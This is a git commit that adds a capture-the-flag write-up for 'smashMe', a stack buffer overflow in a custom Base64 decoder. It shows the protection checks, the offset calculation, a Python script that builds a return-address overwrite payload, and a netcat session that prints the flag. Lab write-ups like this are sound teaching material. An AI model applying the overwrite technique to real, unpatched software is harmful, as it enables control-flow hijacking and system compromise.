Added writeups
This commit is contained in:
145
smash_me.md
Normal file
145
smash_me.md
Normal file
@@ -0,0 +1,145 @@
|
||||
# Smash Me
|
||||
`smashMe` is a classic binary exploitation challenge that introduces players to stack-based buffer overflows. The challenge provides a statically linked 64-bit ELF binary and its source code. Players must identify a vulnerability in a custom Base64 decoding implementation and redirect the program's execution to a "win" function that prints the flag.
|
||||
|
||||
## Information Gathering
|
||||
|
||||
### Binary Protections
|
||||
We can analyze the binary's security features using standard command-line tools like `file` and `readelf`.
|
||||
|
||||
#### 1. Static Linking and No-PIE
|
||||
Using the `file` command:
|
||||
```bash
|
||||
$ file smashMe
|
||||
smashMe: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, ...
|
||||
```
|
||||
- **Statically linked**: All necessary libraries (like `libc`) are bundled within the binary.
|
||||
- **LSB executable**: Since it says "executable" and not "shared object", **PIE (Position Independent Executable)** is disabled. The binary will load at a fixed base address (`0x400000`).
|
||||
|
||||
#### 2. NX (No-Execute)
|
||||
Using `readelf` to check the stack permissions:
|
||||
```bash
|
||||
$ readelf -l smashMe | grep -A 1 STACK
|
||||
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
|
||||
0x0000000000000000 0x0000000000000000 RWE 0x10
|
||||
```
|
||||
- The `RWE` (Read, Write, Execute) flag indicates that the stack is executable. **NX** is disabled.
|
||||
|
||||
#### 3. Stack Canaries
|
||||
While a search for symbols might show `__stack_chk_fail` (due to the statically linked `libc`), we can verify if the target function uses it by disassembling `core_loop`:
|
||||
```bash
|
||||
$ objdump -d -M intel smashMe | grep -A 10 "<core_loop>:"
|
||||
0000000000401d83 <core_loop>:
|
||||
...
|
||||
401d8f: 48 83 ec 50 sub rsp,0x50
|
||||
...
|
||||
```
|
||||
The absence of any `fs:[0x28]` references or calls to `__stack_chk_fail` in the function prologue/epilogue confirms that **Stack Canaries** are disabled for this function.
|
||||
|
||||
These settings make the binary highly susceptible to traditional stack smashing techniques.
|
||||
|
||||
### Source Code Analysis (`vuln.c`)
|
||||
The program reads a Base64 string from the user, decodes it, and prints the result. The core logic resides in `core_loop()`:
|
||||
|
||||
```c
|
||||
void core_loop() {
|
||||
unsigned char decoded[64];
|
||||
|
||||
// Get base64 input
|
||||
printf("Give me a base64 string: ");
|
||||
scanf("%s", input);
|
||||
|
||||
// Decode
|
||||
int result = base64_decode(input, decoded);
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
The `base64_decode` function decodes data from the global `input` buffer into the local `decoded` buffer. However, it lacks any bounds checking on the destination buffer:
|
||||
|
||||
```c
|
||||
int base64_decode(const char *data, unsigned char *output_buffer) {
|
||||
// ...
|
||||
for (i = 0, j = 0; i < input_length;) {
|
||||
// ... (decoding logic)
|
||||
output_buffer[j++] = (triple >> 2 * 8) & 0xFF;
|
||||
output_buffer[j++] = (triple >> 1 * 8) & 0xFF;
|
||||
output_buffer[j++] = (triple >> 0 * 8) & 0xFF;
|
||||
}
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
While `decoded` is only 64 bytes, `input` can hold up to 2048 bytes, allowing for a significant overflow of the stack frame.
|
||||
|
||||
## Vulnerability Analysis
|
||||
The vulnerability is a **Stack-based Buffer Overflow**. By providing a long Base64-encoded string, we can overwrite local variables, the saved frame pointer (RBP), and the saved return address on the stack.
|
||||
|
||||
The program contains a "win" function called `print_flag()`:
|
||||
|
||||
```c
|
||||
void print_flag() {
|
||||
printf("[!!!] Access Granted. The Return Address was modified.\n [*] FLAG: %s\n", global_flag);
|
||||
exit(0);
|
||||
}
|
||||
```
|
||||
|
||||
Our objective is to hijack the control flow by overwriting the return address of `core_loop()` with the address of `print_flag()`.
|
||||
|
||||
## Exploitation Strategy
|
||||
|
||||
### 1. Find the Target Address
|
||||
Since PIE is disabled, the address of `print_flag` is constant. Using `nm` or `objdump`:
|
||||
```bash
|
||||
nm smashMe | grep print_flag
|
||||
# Output: 0000000000401b58 T print_flag
|
||||
```
|
||||
To avoid potential stack alignment issues (such as the `movaps` instruction requiring a 16-byte aligned stack), we can jump to `0x401b60`, which is slightly into the function body after the prologue.
|
||||
|
||||
### 2. Determine the Offset
|
||||
We must determine the exact distance from the start of the `decoded` buffer to the return address.
|
||||
- The `core_loop` function aligns the stack to 16 bytes (`and rsp, 0xfffffffffffffff0`) and then subtracts `0x50` (80 bytes).
|
||||
- The `decoded` buffer is located at the current `rsp`.
|
||||
- Due to the stack alignment and subsequent push/sub operations, the distance to the saved return address is **88 bytes** (80 bytes for the buffer/alignment + 8 bytes for the saved RBP).
|
||||
|
||||
Total offset to Return Address: **88 bytes**.
|
||||
|
||||
### 3. Construct the Payload
|
||||
The payload structure:
|
||||
1. **80 bytes** of arbitrary padding (e.g., 'A's).
|
||||
2. **8 bytes** to overwrite the saved RBP (e.g., 'B's).
|
||||
3. **8 bytes** containing the address `0x401b60` (little-endian).
|
||||
|
||||
The final raw payload is then Base64-encoded to meet the program's input requirements.
|
||||
|
||||
## Solution
|
||||
|
||||
The following Python script generates the exploit:
|
||||
|
||||
```python
|
||||
import struct
|
||||
import base64
|
||||
|
||||
# Target address of print_flag (skipping prologue)
|
||||
win_addr = struct.pack('<Q', 0x401b60)
|
||||
|
||||
# 80 bytes padding + 8 bytes saved RBP + 8 bytes Return Address
|
||||
raw_payload = b'A' * 80 + b'B' * 8 + win_addr
|
||||
|
||||
# Encode to Base64 as the program expects
|
||||
print(base64.b64encode(raw_payload).decode())
|
||||
```
|
||||
|
||||
Running the script gives us the payload:
|
||||
`QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA`
|
||||
|
||||
Executing the exploit against the target:
|
||||
```bash
|
||||
$ nc <host> 1349
|
||||
Give me a base64 string: QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA
|
||||
Decoded: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB`.@
|
||||
[!!!] Access Granted. The Return Address was modified.
|
||||
[*] FLAG: {flag:Al3ph1_Sm4sh3d_Th3_St4ck_1n_Phr4ck49}
|
||||
```
|
||||
|
||||
## Conclusion
|
||||
`smashMe` serves as a fundamental exercise in identifying and exploiting stack-based overflows. It highlights that even when data is transformed (e.g., via Base64), improper handling of buffer lengths can lead to full system compromise.
|
||||
Reference in New Issue
Block a user